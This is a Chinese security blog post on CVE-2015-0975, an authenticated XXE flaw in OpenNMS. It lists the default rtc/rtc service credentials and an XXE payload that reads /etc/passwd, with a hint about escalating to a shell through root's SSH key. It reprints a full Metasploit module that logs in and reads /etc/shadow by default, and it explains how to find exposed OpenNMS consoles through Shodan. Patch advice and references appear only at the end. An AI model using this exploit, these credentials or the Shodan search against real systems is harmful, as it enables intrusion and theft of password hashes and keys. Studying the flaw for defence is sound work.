OpenNMS是一个企业级基于Java/XML的分布式网络和系统监控管理平台。

安全脉搏很早注意到OpenNMS Authenticated XXE(CVE-2015-0975),今天小编整理发布一下。
OpenNMS是你管理网络的绝好工具,它能够显示你网络中各中终端和服务器的状态和配置,为你方便地管理网络提供有效的信息。

OpenNMS科普

opennms_secpulse

OpenNMS是一个企业级基于Java/XML的分布式网络和系统监控管理平台。
OpenNMS是你管理网络的绝好工具,它能够显示你网络中各中终端和服务器的状态和配置,为你方便地管理网络提供有效的信息。

          在线演示:
http://demo.opennms.org/opennms/ (可能需翻墙)

username: demo
password: demo

demo_user

有人对比了一下cacti nagios munin monit zabbix opennms

opennms

 

漏洞详情(OpenNMS Authenticated XXE):

1.default account named "rtc" with password "rtc"

http://sourceforge.net/p/opennms/opennmsbook/ci/f3817feedf2bbd53180e788a5ad3d1388377a049/?page=1
+# The RTC View Control Manager daemon uses this user to authenticate itself\
+# while sending RTC data posts.\
+user.rtc.username=rtc\
+user.rtc.password=rtc\

 

默认服务账户 rtc/rtc,基本是没啥权限

          Access denied
You do not have permission to access this page.

rtc_default

2.xxe usage

http://demo.opennms.org/opennms/rtc/post/xxxxxx
POST

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

 

xxe到shell利用姿势: /root/.ssh/ssh_rsa

 

修复后可能会400

HTTP ERROR 400

Problem accessing /opennms/rtc/post/xxxxxx. Reason:

    Invalid XML input: MarshalException: Premature end of file.

Powered by Jetty://

 

3.author & msf

'Author' =>
+ [
+ 'Stephen Breen <breenmachine[at]gmail.com>', # discovery
+ 'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
+ ],


CVE-2015-0975 XXE for OpenNMS <= 14.0.2 
He also wrote a metasploit module for this vulnerability: https://github.com/rapid7/metasploit-framework/pull/4585

modules/exploits/linux/http/opennms_xxe.rb

require 'msf/core'
require 'openssl'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'OpenNMS Authenticated XXE',
      'Description'    => %q{
      OpenNMS is vulnerable to XML External Entity Injection in the Real-Time Console interface.
      Although this attack requires authentication, there are several factors that increase the
      severity of this vulnerability.

      1. OpenNMS runs with root privileges, taken from the OpenNMS FAQ: "The difficulty with the
      core of OpenNMS is that these components need to run as root to be able to bind to low-numbered
      ports or generate network traffic that requires root"

      2. The user that you must authenticate as is the "rtc" user which has the default password of
      "rtc". There is no mention of this user in the installation guides found here:
      http://www.opennms.org/wiki/Tutorial_Installation, only mention that you should change the default
      admin password of "admin" for security purposes.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Stephen Breen <breenmachine[at]gmail.com>', # discovery
          'Justin Kennedy <jstnkndy[at]gmail.com>', # metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2015-0975']
        ],
      'DisclosureDate' => 'Jan 08 2015'
    ))

    register_options(
      [
        Opt::RPORT(8980),
        OptBool.new('SSL', [false, 'Use SSL', false]),
        OptString.new('TARGETURI', [ true, "The base path to the OpenNMS application", '/opennms/']),
        OptString.new('FILEPATH', [true, "The file or directory to read on the server", "/etc/shadow"]),
        OptString.new('USERNAME', [true, "The username to authenticate with", "rtc"]),
        OptString.new('PASSWORD', [true, "The password to authenticate with", "rtc"])
      ], self.class)

  end

  def run

    print_status("Logging in to grab a valid session cookie")
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
      'vars_post' => {
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD'],
        'Login'=> 'Login'
      },
    })

    unless res.headers["Location"].include? "index.jsp"
      fail_with(Failure::Unknown, 'Authentication failed')
    end

    cookie = res.get_cookies

    print_status("Got cookie, going for the goods")

    xxe = '<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY xxe SYSTEM "file://'+datastore["FILEPATH"]+'" >]><foo>&xxe;</foo>'

    res = send_request_raw({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'rtc', 'post/'),
      'data' => xxe,
      'cookie' => cookie
    })

    # extract filepath data from response and remove preceding errors

    if res.body =~ /<title.*\/?>(.+)<\/title\/?>/m
      title = $1
    end

    result = title.match(/"(.*)/m)

    print_good("#{result}")

  end
end

设置过disallow-doctype-decl为true的就木法利用了

opennms_xxe

搜索方式:

http://www.shodanhq.com/
opennms
OpenNMS Web Console
默认端口 8980

shodanhq

修复建议:

升级到14.0.3(14.0.3之前的版本都受影响)

 

参考链接:

http://breenmachine.blogspot.ca/2015/01/opennms-0-day-xxe-to-shell.html#comment-form

http://www.opennms.org/wiki/CVE-2015-0975

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-0975

https://github.com/rapid7/metasploit-framework/pull/4585

 

 

源链接

Hacking more

...